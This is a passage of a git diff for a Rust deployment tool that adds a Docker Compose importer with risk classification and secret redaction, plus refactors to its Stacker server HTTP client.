+        .unwrap_or_default()
+}
+
+fn unsupported_fields(mapping: &Mapping) -> Vec<String> {
+    let supported = SUPPORTED_FIELDS
+        .iter()
+        .copied()
+        .collect::<BTreeSet<&'static str>>();
+    mapping
+        .keys()
+        .filter_map(Value::as_str)
+        .filter(|key| !supported.contains(key))
+        .map(ToOwned::to_owned)
+        .collect::<BTreeSet<_>>()
+        .into_iter()
+        .collect()
+}
+
+fn classify_risks(
+    service_name: &str,
+    mapping: &Mapping,
+    ports: &[String],
+    volumes: &[String],
+    environment_keys: &[String],
+) -> Vec<ImportRisk> {
+    let mut risks = Vec::new();
+
+    for field in RISK_FIELDS {
+        if mapping.contains_key(Value::String((*field).to_string())) {
+            if *field == "privileged"
+                && !mapping
+                    .get(Value::String("privileged".to_string()))
+                    .and_then(Value::as_bool)
+                    .unwrap_or(false)
+            {
+                continue;
+            }
+            if (*field == "network_mode"
+                && mapping_string(mapping, "network_mode").as_deref() == Some("host"))
+                || *field != "network_mode"
+            {
+                risks.push(ImportRisk {
+                    service: service_name.to_string(),
+                    kind: (*field).to_string(),
+                    detail: format!("Compose field '{field}' can weaken container isolation"),
+                });
+            }
+        }
+    }
+
+    if mapping_string(mapping, "pid").as_deref() == Some("host") {
+        risks.push(ImportRisk {
+            service: service_name.to_string(),
+            kind: "pid_host".to_string(),
+            detail: "Service uses host PID namespace".to_string(),
+        });
+    }
+    if mapping_string(mapping, "ipc").as_deref() == Some("host") {
+        risks.push(ImportRisk {
+            service: service_name.to_string(),
+            kind: "ipc_host".to_string(),
+            detail: "Service uses host IPC namespace".to_string(),
+        });
+    }
+
+    for volume in volumes {
+        let host_part = volume.split(':').next().unwrap_or_default();
+        if host_part == "/var/run/docker.sock" {
+            risks.push(ImportRisk {
+                service: service_name.to_string(),
+                kind: "docker_socket_mount".to_string(),
+                detail: "Mounts /var/run/docker.sock, which can grant host-level Docker control"
+                    .to_string(),
+            });
+        } else if host_part.starts_with('/') {
+            risks.push(ImportRisk {
+                service: service_name.to_string(),
+                kind: "absolute_host_path".to_string(),
+                detail: format!("Uses absolute host path mount '{host_part}'"),
+            });
+        }
+    }
+
+    for key in environment_keys {
+        if is_sensitive_env_key(key) {
+            risks.push(ImportRisk {
+                service: service_name.to_string(),
+                kind: "sensitive_env_name".to_string(),
+                detail: format!("Environment key '{key}' looks sensitive; value will be redacted"),
+            });
+        }
+    }
+
+    for port in ports {
+        if published_port(port).is_some() {
+            risks.push(ImportRisk {
+                service: service_name.to_string(),
+                kind: "public_port".to_string(),
+                detail: format!("Publishes host port '{port}'"),
+            });
+        }
+    }
+
+    risks
+}
+
+fn published_port(port: &str) -> Option<&str> {
+    let mut parts = port.split(':');
+    let first = parts.next()?;
+    let second = parts.next();
+    second.map(|_| first)
+}
+
+fn looks_like_mail_server(service_name: &str, image: &str, ports: &[String]) -> bool {
+    let identity = format!("{service_name} {image}").to_ascii_lowercase();
+    identity.contains("docker-mailserver")
+        || identity.contains("mailserver")
+        || ports.iter().any(|port| {
+            let public = published_port(port).unwrap_or(port);
+            MAIL_PORTS.contains(&public)
+        })
+}
+
+fn docker_mailserver_guidance() -> Vec<String> {
+    vec![
+        "Mail server imports require DNS MX, SPF, DKIM, DMARC, PTR/rDNS records before production use.".to_string(),
+        "Confirm your provider allows SMTP egress, especially port 25; many clouds block it by default.".to_string(),
+        "Open only the required firewall ports (commonly 25, 465, 587, 993) and keep mail data on persistent volumes.".to_string(),
+    ]
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn request() -> ComposeImportRequest {
+        ComposeImportRequest {
+            import_name: "smtp".to_string(),
+            selected_service: Some("mailserver".to_string()),
+            renames: vec![("mailserver".to_string(), "smtp".to_string())],
+        }
+    }
+
+    #[test]
+    fn parses_compose_service_into_stacker_definition() {
+        let plan = import_plan_from_compose_str(
+            r#"
+services:
+  mailserver:
+    image: docker.io/mailserver/docker-mailserver:latest
+    ports:
+      - "25:25"
+      - target: 993
+        published: 993
+    environment:
+      OVERRIDE_HOSTNAME: mail.example.com
+      ACCOUNT_PASSWORD: super-secret
+      DKIM_PRIVATE_KEY: ${DKIM_PRIVATE_KEY}
+    volumes:
+      - maildata:/var/mail
+    depends_on:
+      redis:
+        condition: service_started
+"#,
+            &request(),
+        )
+        .unwrap();
+
+        let service = &plan.services[0];
+        assert_eq!(service.name, "smtp");
+        assert_eq!(
+            service.image,
+            "docker.io/mailserver/docker-mailserver:latest"
+        );
+        assert_eq!(service.ports, vec!["25:25", "993:993"]);
+        assert_eq!(
+            service.environment.get("ACCOUNT_PASSWORD").unwrap(),
+            "${ACCOUNT_PASSWORD}"
+        );
+        assert_eq!(
+            service.environment.get("DKIM_PRIVATE_KEY").unwrap(),
+            "${DKIM_PRIVATE_KEY}"
+        );
+        assert_eq!(service.depends_on, vec!["redis"]);
+        assert!(!plan.review.guidance.is_empty());
+    }
+
+    #[test]
+    fn classifies_risky_compose_fields() {
+        let plan = import_plan_from_compose_str(
+            r#"
+services:
+  mailserver:
+    image: docker.io/mailserver/docker-mailserver:latest
+    privileged: true
+    network_mode: host
+    pid: host
+    ipc: host
+    cap_add: [NET_ADMIN]
+    devices: ["/dev/net/tun:/dev/net/tun"]
+    extra_hosts: ["host.docker.internal:host-gateway"]
+    security_opt: ["apparmor:unconfined"]
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock
+      - /srv/mail:/var/mail
+    environment:
+      API_TOKEN: abc
+    ports:
+      - "587:587"
+"#,
+            &request(),
+        )
+        .unwrap();
+
+        let kinds = plan
+            .review
+            .risks
+            .iter()
+            .map(|risk| risk.kind.as_str())
+            .collect::<BTreeSet<_>>();
+        for expected in [
+            "privileged",
+            "network_mode",
+            "pid",
+            "ipc",
+            "pid_host",
+            "ipc_host",
+            "cap_add",
+            "devices",
+            "extra_hosts",
+            "security_opt",
+            "docker_socket_mount",
+            "absolute_host_path",
+            "sensitive_env_name",
+            "public_port",
+        ] {
+            assert!(kinds.contains(expected), "missing risk {expected}");
+        }
+    }
+
+    #[test]
+    fn redacts_secret_like_environment_values_in_review() {
+        let plan = import_plan_from_compose_str(
+            r#"
+services:
+  mailserver:
+    image: mail:latest
+    environment:
+      PASSWORD: literal
+      PUBLIC_NAME: example
+"#,
+            &request(),
+        )
+        .unwrap();
+
+        let review_env = &plan.review.services[0].environment;
+        assert_eq!(review_env.get("PASSWORD").unwrap(), "<redacted>");
+        assert_eq!(review_env.get("PUBLIC_NAME").unwrap(), "example");
+    }
+}
diff --git a/src/cli/stacker_client.rs b/src/cli/stacker_client.rs
index d59fe223..5eefa6de 100644
--- a/src/cli/stacker_client.rs
+++ b/src/cli/stacker_client.rs
@@ -8,7 +8,14 @@
 //!
 //! All endpoints require `Authorization: Bearer <token>` from `stacker login`.
 
+use crate::cli::config_parser::DeployTarget;
+use crate::cli::debug::cli_debug_enabled;
 use crate::cli::error::CliError;
+use crate::handoff::{DeploymentHandoffPayload, DeploymentHandoffResolveRequest};
+use crate::services::{
+    DeployPlan, DeployPlanOperation, DeploymentEventFeed, DeploymentState, TypedErrorEnvelope,
+};
+use pipe_adapter_sdk::PipeAdapterReference;
 use serde::{Deserialize, Serialize};
 
 /// Default Stacker server base URL (distinct from the User Service auth URL).
@@ -18,7 +25,7 @@ pub const DEFAULT_STACKER_URL: &str = "https://stacker.try.direct";
 /// The Install Service Ansible role uses this to configure the agent's VAULT_ADDRESS
 /// environment variable on the remote server. Must be a publicly reachable address
 /// (not a Docker-internal IP) so deployed agents can connect to Vault.
-pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct";
+pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct:8443";
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Response types (matching Stacker server JSON envelope)
@@ -37,6 +44,51 @@ struct ApiResponse<T> {
     pub meta: Option<serde_json::Value>,
 }
 
+fn parse_typed_error_response(body: &str) -> Option<TypedErrorEnvelope> {
+    serde_json::from_str(body).ok()
+}
+
+fn stacker_api_failure(action: &str, status: u16, body: &str) -> String {
+    stacker_api_failure_with_message(
+        "Stacker server request failed",
+        action,
+        status,
+        body,
+        cli_debug_enabled(),
+    )
+}
+
+fn stacker_api_failure_with_debug(action: &str, status: u16, body: &str, debug: bool) -> String {
+    stacker_api_failure_with_message("Stacker server request failed", action, status, body, debug)
+}
+
+fn stacker_api_failure_with_message(
+    summary: &str,
+    action: &str,
+    status: u16,
+    body: &str,
+    debug: bool,
+) -> String {
+    if debug {
+        return format!("Stacker server {action} failed ({status}): {body}");
+    }
+    // For client errors (4xx), the body usually contains an actionable
+    // message — include it (truncated) so users don't have to rerun with
+    // DEBUG=true just to see what went wrong.
+    if (400..500).contains(&status) {
+        let trimmed = body.trim();
+        let detail = if trimmed.is_empty() {
+            "<empty response body>".to_string()
+        } else if trimmed.len() > 600 {
+            format!("{}...", &trimmed[..600])
+        } else {
+            trimmed.to_string()
+        };
+        return format!("{summary} ({status}): {detail}");
+    }
+    format!("{summary} ({status}). Rerun with DEBUG=true or RUST_LOG=debug for endpoint details.")
+}
+
 /// Project as returned by `/project` endpoints
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ProjectInfo {
@@ -48,6 +100,41 @@ pub struct ProjectInfo {
     pub updated_at: String,
 }
 
+/// Project app as returned by `/project/{id}/apps` endpoints
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct ProjectAppInfo {
+    pub id: i32,
+    pub project_id: i32,
+    pub code: String,
+    pub name: String,
+    pub image: String,
+    pub enabled: bool,
+    pub deploy_order: Option<i32>,
+    pub parent_app_code: Option<String>,
+}
+
+/// Project app registration payload for `POST /project/{id}/apps`.
+#[derive(Debug, Clone, Serialize)]
+pub struct ProjectAppRegistrationRequest {
+    pub code: String,
+    pub name: Option<String>,
+    pub image: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub env: Option<serde_json::Value>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub ports: Option<serde_json::Value>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub volumes: Option<serde_json::Value>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub depends_on: Option<serde_json::Value>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub enabled: Option<bool>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deploy_order: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deployment_hash: Option<String>,
+}
+
 /// Cloud credentials as returned by `/cloud` endpoints
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct CloudInfo {
@@ -87,6 +174,19 @@ pub struct ServerInfo {
     pub key_status: String,
 }
 
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct RemoteSecretMetadataInfo {
+    pub id: i32,
+    pub scope: String,
+    pub name: String,
+    pub project_id: Option<i32>,
+    pub app_code: Option<String>,
+    pub server_id: Option<i32>,
+    pub updated_at: String,
+    pub updated_by: String,
+    pub source: String,
+}
+
 fn default_connection_mode() -> String {
     "ssh".to_string()
 }
@@ -114,24 +214,71 @@ pub struct PublicKeyResponse {
     pub fingerprint: Option<String>,
 }
 
+/// Response from `POST /server/{id}/ssh-key/authorize-public-key`
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct AuthorizePublicKeyResponse {
+    pub server_id: i32,
+    pub srv_ip: String,
+    pub ssh_user: String,
+    pub ssh_port: u16,
+    pub authorized: bool,
+    pub message: String,
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Marketplace response types
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-/// Marketplace template summary as returned by `GET /marketplace`
+/// Marketplace template summary as returned by `GET /api/templates`
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct MarketplaceTemplate {
     pub id: Option<serde_json::Value>,
+    #[serde(alias = "code")]
     pub slug: String,
     pub name: String,
+    #[serde(default, alias = "short_description")]
     pub description: Option<String>,
+    #[serde(alias = "category")]
     pub category_code: Option<String>,
     #[serde(default)]
-    pub tags: Vec<String>,
+    pub tags: serde_json::Value,
     pub status: Option<String>,
+    pub required_plan_name: Option<String>,
+    pub price: Option<f64>,
+    pub billing_cycle: Option<String>,
+    pub is_from_marketplace: Option<bool>,
+    #[serde(default)]
+    pub creator_name: Option<String>,
     pub stack_definition: Option<serde_json::Value>,
 }
 
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct MarketplaceInstallResponse {
+    pub project: ProjectInfo,
+    pub template: MarketplaceTemplate,
+    pub latest_version: serde_json::Value,
+    pub deployment_id: Option<i32>,
+    /// Populated only when the template is billed per_install.
+    #[serde(default)]
+    pub authorization: Option<AuthorizationSummary>,
+    /// Populated only for per_install installs — server echoes the key it
+    /// actually used (may differ from what the client sent if the client
+    /// omitted one entirely).
+    #[serde(default)]
+    pub idempotency_key: Option<String>,
+}
+
+/// CLI-side mirror of the server's `AuthorizationSummary`.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct AuthorizationSummary {
+    pub authorization_id: String,
+    pub status: String,
+    pub amount_minor: i64,
+    pub currency: String,
+    #[serde(default)]
+    pub expires_at: Option<String>,
+}
+
 /// Marketplace template info as returned by `/api/templates/mine`
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct MarketplaceTemplateInfo {
@@ -216,8 +363,12 @@ pub struct PipeInstanceInfo {
     #[serde(default)]
     pub template_id: Option<String>,
     pub deployment_hash: String,
+    #[serde(default)]
+    pub source_adapter: Option<PipeAdapterReference>,
     pub source_container: String,
     #[serde(default)]
+    pub target_adapter: Option<PipeAdapterReference>,
+    #[serde(default)]
     pub target_container: Option<String>,
     #[serde(default)]
     pub target_url: Option<String>,
@@ -274,7 +425,7 @@ pub struct PipeReplayResponse {
 }
 
 /// Request body for creating a pipe template
-#[derive(Debug, Clone, Serialize)]
+#[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct CreatePipeTemplateApiRequest {
     pub name: String,
     #[serde(skip_serializing_if = "Option::is_none")]
@@ -293,11 +444,16 @@ pub struct CreatePipeTemplateApiRequest {
 }
 
 /// Request body for creating a pipe instance
-#[derive(Debug, Clone, Serialize)]
+#[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct CreatePipeInstanceApiRequest {
-    pub deployment_hash: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deployment_hash: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub source_adapter: Option<PipeAdapterReference>,
     pub source_container: String,
     #[serde(skip_serializing_if = "Option::is_none")]
+    pub target_adapter: Option<PipeAdapterReference>,
+    #[serde(skip_serializing_if = "Option::is_none")]
     pub target_container: Option<String>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub target_url: Option<String>,
@@ -309,6 +465,12 @@ pub struct CreatePipeInstanceApiRequest {
     pub config_override: Option<serde_json::Value>,
 }
 
+/// Request body for deploying (promoting) a local pipe to remote
+#[derive(Debug, Serialize)]
+pub struct DeployPipeApiRequest {
+    pub deployment_hash: String,
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // StackerClient — HTTP client for the Stacker server
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -316,11 +478,16 @@ pub struct CreatePipeInstanceApiRequest {
 pub struct StackerClient {
     base_url: String,
     token: String,
+    target: DeployTarget,
     http: reqwest::Client,
 }
 
 impl StackerClient {
     pub fn new(base_url: &str, token: &str) -> Self {
+        Self::new_for_target(base_url, token, DeployTarget::Cloud)
+    }
+
+    pub fn new_for_target(base_url: &str, token: &str, target: DeployTarget) -> Self {
         let http = reqwest::Client::builder()
             .timeout(std::time::Duration::from_secs(30))
             .build()
@@ -328,19 +495,90 @@ impl StackerClient {
         Self {
             base_url: base_url.trim_end_matches('/').to_string(),
             token: token.to_string(),
+            target,
             http,
         }
     }
 
-    // ── Projects ─────────────────────────────────────
+    fn project_endpoint_candidates(&self, suffix: &str) -> [String; 2] {
+        [
+            format!("{}/api/v1/project{}", self.base_url, suffix),
+            format!("{}/project{}", self.base_url, suffix),
+        ]
+    }
 
-    /// List all projects for the authenticated user.
-    pub async fn list_projects(&self) -> Result<Vec<ProjectInfo>, CliError> {
-        let url = format!("{}/project", self.base_url);
-        let resp = self
-            .http
-            .get(&url)
-            .bearer_auth(&self.token)
+    async fn send_project_request(
+        &self,
+        method: reqwest::Method,
+        suffix: &str,
+        body: Option<&serde_json::Value>,
+        action_label: &str,
+    ) -> Result<reqwest::Response, CliError> {
+        let mut last_response = None;
+
+        for url in self.project_endpoint_candidates(suffix) {
+            let mut request = self
+                .http
+                .request(method.clone(), &url)
+                .bearer_auth(&self.token);
+            if let Some(payload) = body {
+                request = request.json(payload);
+            }
+
+            let resp = request.send().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Stacker server unreachable: {}", e),
+            })?;
+
+            if resp.status().is_success() {
+                return Ok(resp);
+            }
+
+            last_response = Some(resp);
+        }
+
+        last_response.ok_or_else(|| CliError::DeployFailed {
+            target: self.target.clone(),
+            reason: format!(
+                "Stacker server {} failed: project endpoints were not reachable",
+                action_label
+            ),
+        })
+    }
+
+    async fn send_server_request(
+        &self,
+        method: reqwest::Method,
+        suffix: &str,
+        body: Option<&serde_json::Value>,
+        action_label: &str,
+    ) -> Result<reqwest::Response, CliError> {
+        let url = format!("{}/server{}", self.base_url, suffix);
+        let mut request = self.http.request(method, &url).bearer_auth(&self.token);
+        if let Some(payload) = body {
+            request = request.json(payload);
+        }
+
+        request.send().await.map_err(|e| CliError::DeployFailed {
+            target: self.target.clone(),
+            reason: format!("Stacker server {} failed: {}", action_label, e),
+        })
+    }
+
+    pub async fn resolve_handoff(
+        base_url: &str,
+        token: &str,
+    ) -> Result<DeploymentHandoffPayload, CliError> {
+        let http = reqwest::Client::builder()
+            .timeout(std::time::Duration::from_secs(30))
+            .build()
+            .expect("Failed to create HTTP client");
+        let url = format!("{}/api/v1/handoff/resolve", base_url.trim_end_matches('/'));
+        let resp = http
+            .post(&url)
+            .json(&DeploymentHandoffResolveRequest {
+                token: token.to_string(),
+            })
             .send()
             .await
             .map_err(|e| CliError::DeployFailed {
@@ -353,16 +591,50 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server GET /project failed ({}): {}", status, body),
+                reason: stacker_api_failure_with_message(
+                    "Stacker handoff resolve failed",
+                    "POST /api/v1/handoff/resolve",
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
             });
         }
 
-        let api: ApiResponse<ProjectInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<DeploymentHandoffPayload> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: crate::cli::config_parser::DeployTarget::Cloud,
+            reason: "Stacker handoff response did not include payload".to_string(),
+        })
+    }
+
+    // ── Projects ─────────────────────────────────────
+
+    /// List all projects for the authenticated user.
+    pub async fn list_projects(&self) -> Result<Vec<ProjectInfo>, CliError> {
+        let resp = self
+            .send_project_request(reqwest::Method::GET, "", None, "GET /project")
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure("GET /project", status, &body),
+            });
+        }
+
+        let api: ApiResponse<ProjectInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -376,6 +648,141 @@ impl StackerClient {
             .find(|p| p.name.to_lowercase() == lower))
     }
 
+    pub async fn find_project(&self, reference: &str) -> Result<Option<ProjectInfo>, CliError> {
+        let projects = self.list_projects().await?;
+        let lower = reference.to_lowercase();
+        Ok(projects.into_iter().find(|project| {
+            project.id.to_string() == reference || project.name.to_lowercase() == lower
+        }))
+    }
+
+    /// List all apps for a project owned by the authenticated user.
+    pub async fn list_project_apps(
+        &self,
+        project_id: i32,
+    ) -> Result<Vec<ProjectAppInfo>, CliError> {
+        let resp = self
+            .send_project_request(
+                reqwest::Method::GET,
+                &format!("/{}/apps", project_id),
+                None,
+                "GET /project/{id}/apps",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            if let Some(error) = parse_typed_error_response(&body) {
+                return Err(error.into());
+            }
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("GET /project/{project_id}/apps"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<ProjectAppInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        Ok(api.list.unwrap_or_default())
+    }
+
+    /// Create or update one project app target.
+    pub async fn upsert_project_app(
+        &self,
+        project_id: i32,
+        request: &ProjectAppRegistrationRequest,
+    ) -> Result<ProjectAppInfo, CliError> {
+        let body =
+            serde_json::to_value(request).map_err(|e| CliError::ConfigValidation(e.to_string()))?;
+        let resp = self
+            .send_project_request(
+                reqwest::Method::POST,
+                &format!("/{}/apps", project_id),
+                Some(&body),
+                "POST /project/{id}/apps",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::DeployFailed {
+                target: self.target,
+                reason: stacker_api_failure(
+                    &format!("POST /project/{project_id}/apps"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        let api: ApiResponse<ProjectAppInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target,
+                reason: format!("Invalid response from Stacker server: {}", e),
+            })?;
+
+        api.item.ok_or_else(|| CliError::DeployFailed {
+            target: self.target,
+            reason: "Stacker server did not return a project app".to_string(),
+        })
+    }
+
+    /// Delete one project app target by exact code.
+    pub async fn delete_project_app(
+        &self,
+        project_id: i32,
+        app_code: &str,
+        deployment_hash: Option<&str>,
+    ) -> Result<(), CliError> {
+        let suffix = if let Some(hash) = deployment_hash.filter(|value| !value.trim().is_empty()) {
+            format!(
+                "/{}/apps/{}?deployment_hash={}",
+                project_id,
+                app_code,
+                urlencoding::encode(hash)
+            )
+        } else {
+            format!("/{}/apps/{}", project_id, app_code)
+        };
+
+        let resp = self
+            .send_project_request(
+                reqwest::Method::DELETE,
+                &suffix,
+                None,
+                "DELETE /project/{id}/apps/{code}",
+            )
+            .await?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            if let Some(error) = parse_typed_error_response(&body) {
+                return Err(error.into());
+            }
+            return Err(CliError::DeployFailed {
+                target: self.target.clone(),
+                reason: stacker_api_failure(
+                    &format!("DELETE /project/{project_id}/apps/{app_code}"),
+                    status,
+                    &body,
+                ),
+            });
+        }
+
+        Ok(())
+    }
+
     // ── Deployments ───────────────────────────────────
 
     /// List deployments for the authenticated user.
@@ -404,19 +811,15 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server GET /api/v1/deployments failed ({}): {}",
-                    status, body
-                ),
+                reason: stacker_api_failure("GET /api/v1/deployments", status, &body),
             });
         }
 
-        let api: ApiResponse<DeploymentStatusInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<DeploymentStatusInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -427,8 +830,6 @@ impl StackerClient {
         name: &str,
         metadata: serde_json::Value,
     ) -> Result<ProjectInfo, CliError> {
-        let url = format!("{}/project", self.base_url);
-
         // If metadata already has "custom" key (e.g. from build_project_body),
         // use it directly. Otherwise, wrap in a default structure.
         let body = if metadata.get("custom").is_some() {
@@ -467,38 +868,26 @@ impl StackerClient {
         };
 
         let resp = self
-            .http
-            .post(&url)
-            .bearer_auth(&self.token)
-            .json(&body)
-            .send()
-            .await
-            .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server unreachable: {}", e),
-            })?;
+            .send_project_request(reqwest::Method::POST, "", Some(&body), "POST /project")
+            .await?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server POST /project failed ({}): {}",
-                    status, body
-                ),
+                target: self.target.clone(),
+                reason: stacker_api_failure("POST /project", status, &body),
             });
         }
 
-        let api: ApiResponse<ProjectInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+        let api: ApiResponse<ProjectInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         api.item.ok_or_else(|| CliError::DeployFailed {
-            target: crate::cli::config_parser::DeployTarget::Cloud,
+            target: self.target.clone(),
             reason: "Stacker server created project but returned no item".to_string(),
         })
     }
@@ -509,41 +898,32 @@ impl StackerClient {
         project_id: i32,
         body: serde_json::Value,
     ) -> Result<ProjectInfo, CliError> {
-        let url = format!("{}/project/{}", self.base_url, project_id);
-
         let resp = self
-            .http
-            .put(&url)
-            .bearer_auth(&self.token)
-            .json(&body)
-            .send()
-            .await
-            .map_err(|e| CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server unreachable: {}", e),
-            })?;
+            .send_project_request(
+                reqwest::Method::PUT,
+                &format!("/{}", project_id),
+                Some(&body),
+                "PUT /project/{id}",
+            )
+            .await?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server PUT /project/{} failed ({}): {}",
-                    project_id, status, body
-                ),
+                target: self.target.clone(),
+                reason: stacker_api_failure(&format!("PUT /project/{project_id}"), status, &body),
             });
         }
 
-        let api: ApiResponse<ProjectInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
-                target: crate::cli::config_parser::DeployTarget::Cloud,
+        let api: ApiResponse<ProjectInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
+                target: self.target.clone(),
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         api.item.ok_or_else(|| CliError::DeployFailed {
-            target: crate::cli::config_parser::DeployTarget::Cloud,
+            target: self.target.clone(),
             reason: "Stacker server updated project but returned no item".to_string(),
         })
     }
@@ -569,16 +949,15 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!("Stacker server GET /cloud failed ({}): {}", status, body),
+                reason: stacker_api_failure("GET /cloud", status, &body),
             });
         }
 
-        let api: ApiResponse<CloudInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<CloudInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
-            }
-        })?;
+            })?;
 
         Ok(api.list.unwrap_or_default())
     }
@@ -590,14 +969,13 @@ impl StackerClient {
     ) -> Result<Option<CloudInfo>, CliError> {
         let clouds = self.list_clouds().await?;
         let lower = provider.to_lowercase();
-        Ok(clouds.into_iter().find(|c| c.provider.to_lowercase() == lower))
+        Ok(clouds
+            .into_iter()
+            .find(|c| c.provider.to_lowercase() == lower))
     }
 
     /// Find saved cloud credentials by name (e.g. "my-hetzner", "htz-4").
-    pub async fn find_cloud_by_name(
-        &self,
-        name: &str,
-    ) -> Result<Option<CloudInfo>, CliError> {
+    pub async fn find_cloud_by_name(&self, name: &str) -> Result<Option<CloudInfo>, CliError> {
         let clouds = self.list_clouds().await?;
         let lower = name.to_lowercase();
         Ok(clouds.into_iter().find(|c| c.name.to_lowercase() == lower))
@@ -626,19 +1004,15 @@ impl StackerClient {
             let body = resp.text().await.unwrap_or_default();
             return Err(CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
-                reason: format!(
-                    "Stacker server GET /cloud/{} failed ({}): {}",
-                    cloud_id, status, body
-                ),
+                reason: stacker_api_failure(&format!("GET /cloud/{cloud_id}"), status, &body),
             });
         }
 
-        let api: ApiResponse<CloudInfo> = resp.json().await.map_err(|e| {
-            CliError::DeployFailed {
+        let api: ApiResponse<CloudInfo> =
+            resp.json().await.map_err(|e| CliError::DeployFailed {
